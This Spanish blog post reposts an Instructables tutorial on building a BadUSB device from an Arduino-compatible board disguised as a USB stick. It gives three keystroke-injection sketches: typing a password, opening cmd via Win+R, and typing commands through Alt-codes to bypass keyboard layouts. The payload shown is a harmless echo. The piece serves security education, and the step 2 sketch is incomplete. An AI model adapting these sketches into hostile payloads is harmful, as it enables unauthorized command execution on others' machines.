INB COMPUTERS "Honestidad, calidad y profesionalismo"
POSTED ON: 27 mayo, 2025. ACTUALIZADO: 27 mayo, 2025.
CODIGO POR: https://www.instructables.com/A-BadUSB-Device-With-Arduino/
Un agradecimiento especial por esta demostración a mi alumno Axel E. Jimenez P.
El autor se reserva el derecho de no ser responsable de cualquier daño o su acción ilegal causada por el uso de este instructable. Sin embargo, puede utilizarlo en su propio hardware bajo su propio riesgo. Los ejemplos de este instructable también pueden ser útiles para fines educativos para desarrollar habilidades de alfabetización digital y discutir los conceptos de pentesting y hacking ético.
El acrónimo HDI significa Human Interface Device. Esta clase de dispositivos incluye teclados, ratones y otros controladores. A veces un dispositivo no es lo que parece. Por ejemplo, esta memoria USB es en realidad una placa de desarrollo compatible con Arduino con microcontrolador ATmega32U4.
Paso 1: El bueno The Good
#include <Keyboard.h>
void setup() {
Keyboard.begin();
//I recommend that you leave a short delay before start while prototyping.
//It will will give you some time to reprogram a board before it starts typing.
delay(30000);
Keyboard.println("Your_password");
}
void loop() {
}
Paso 2: El malo The bad
//a command line to execute
const char command [] = "echo hello hackers";
void setup() {
Keyboard.begin();
//I recommend that you leave a short delay before start while prototyping.
//It will will give you some time to reprogram a board before it starts typing.
delay(30000);
}
void loop() {
//Pressing Win+r shortcut
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(KEY_DELAY);
Keyboard.releaseAll();
delay(KEY_DELAY*5);
//Inputting cmd command
Keyboard.println("cmd");
delay(KEY_DELAY*5);//A delay to ensure that cmd window has been started
//Typing the command
Keyboard.println(command);
delay(30000);
}
Paso 3: Lo feo The Ugly
#include <Keyboard.h>
#include <string.h>
//numpad keycodes
#define KEYPAD1 225
#define KEYPAD2 226
#define KEYPAD3 227
#define KEYPAD4 228
#define KEYPAD5 229
#define KEYPAD6 230
#define KEYPAD7 231
#define KEYPAD8 232
#define KEYPAD9 233
#define KEYPAD0 234
#define KEY_DELAY 50
//numpad keycodes array
const char keypad[] = {KEYPAD0, KEYPAD1, KEYPAD2, KEYPAD3, KEYPAD4,
KEYPAD5, KEYPAD6, KEYPAD7, KEYPAD8, KEYPAD9};
//a command line to execute
const char command [] = "echo hello hackers";
void setup() {
Keyboard.begin();
//I recommend that you leave a short delay before start while prototyping.
//It will will give you some time to reprogram a board before it starts typing.
delay(30000);
}
//A function to input one character by its Alt-code
void printAltChar(char c)
{
//Splitting the Alt-code into three digits
char digits[] = {0,0,0};
digits[0] = c/100;
digits[1] = (c / 10) % 10;
digits[2] = c % 10;
//Pushing Alt
Keyboard.press(KEY_LEFT_ALT);
delay(KEY_DELAY);
char i = 0;
//Skip leading zeros
while (!digits[i])
i++;
//Inputting the digits
for (; i < 3; i++)
{
Keyboard.press(keypad[digits[i]]);
delay(KEY_DELAY);
Keyboard.release(keypad[digits[i]]);
delay(KEY_DELAY);
}
Keyboard.releaseAll();
}
void loop() {
//Pressing Win+r shortcut
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(KEY_DELAY);
Keyboard.releaseAll();
//Inputting ‘cmd’ command
printAltChar(99);
printAltChar(109);
printAltChar(100);
Keyboard.press(KEY_RETURN);
delay(KEY_DELAY);
Keyboard.releaseAll();
delay(KEY_DELAY*5);//A delay to ensure that cmd window has been started
//Typing the command
for (int i = 0; i<strlen(command); i++)
printAltChar(command[i]);
Keyboard.press(KEY_RETURN);
delay(KEY_DELAY);
Keyboard.releaseAll();
delay(KEY_DELAY);
delay(30000);
}